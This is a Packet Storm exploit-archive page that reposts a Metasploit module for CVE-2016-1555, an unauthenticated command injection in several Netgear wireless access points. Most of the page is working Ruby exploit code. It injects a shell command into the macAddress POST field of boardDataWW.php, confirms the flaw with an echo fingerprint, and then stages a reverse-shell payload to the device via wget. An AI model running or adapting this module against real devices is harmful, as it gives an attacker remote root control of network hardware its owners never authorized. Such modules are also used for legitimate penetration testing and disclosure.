exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Netgear Unauthenticated Remote Command Execution

Netgear Unauthenticated Remote Command Execution
Posted Nov 27, 2018
Authored by Imran Dawoodjee, Daming Dominic Chen | Site metasploit.com

Netgear WN604 versions before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 versions before 3.5.5.0 allow remote attackers to execute arbitrary commands.

tags | exploit, remote, arbitrary
advisories | CVE-2016-1555
SHA-256 | 02496a975651a83b712a8b97ff7c7801e79193b0c670667c9dfe6dc5eb6ee0fe

Netgear Unauthenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Netgear Devices Unauthenticated Remote Command Execution',
'Description' => %q{
From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php,
(3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in
Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350,
WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute
arbitrary commands.
},
'Author' =>
[
'Daming Dominic Chen <ddchen[at]cs.cmu.edu>', # Vuln discovery
'Imran Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-1555'],
['URL', 'https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic'],
['PACKETSTORM', '135956'],
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/112']
],
'DisclosureDate' => 'Feb 25 2016', # According to http://seclists.org/fulldisclosure/2016/Feb/112
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' => {},
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
'WfsDelay' => 10 },
'Targets' => [['Automatic', { }]],
'CmdStagerFlavor'=> %w{ echo printf wget },
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'Path of the vulnerable URI.', '/boardDataWW.php']), # boardDataWW.php
OptString.new('MAC_ADDRESS', [true, 'MAC address to use (default: random)', Rex::Text.rand_text_hex(12)])
])
end

# check for vulnerability existence
def check
fingerprint = Rex::Text.rand_text_alpha(12) # If vulnerability is present, we will get this back in the response
res = execute_command("echo #{fingerprint}") # the raw POST response

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

unless res.code == 200
return CheckCode::Safe
end

unless res.get_html_document.at('input').to_s.include? fingerprint
return CheckCode::Safe
end

CheckCode::Vulnerable
end

# execute a command, or simply send a POST request
def execute_command(cmd, opts = {})
vars_post = {
'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};",
'reginfo' => '1',
'writeData' => 'Submit'
}

send_request_cgi({
'method' => 'POST',
'headers' => { 'Connection' => 'Keep-Alive' },
'uri' => normalize_uri(target_uri.path),
'vars_post' => vars_post
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!")
end

# the exploit method
def exploit
#run a check before attempting to exploit
unless [CheckCode::Vulnerable].include? check
fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
end

execute_cmdstager(linemax: 2048) # maximum 130,000
end

end

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close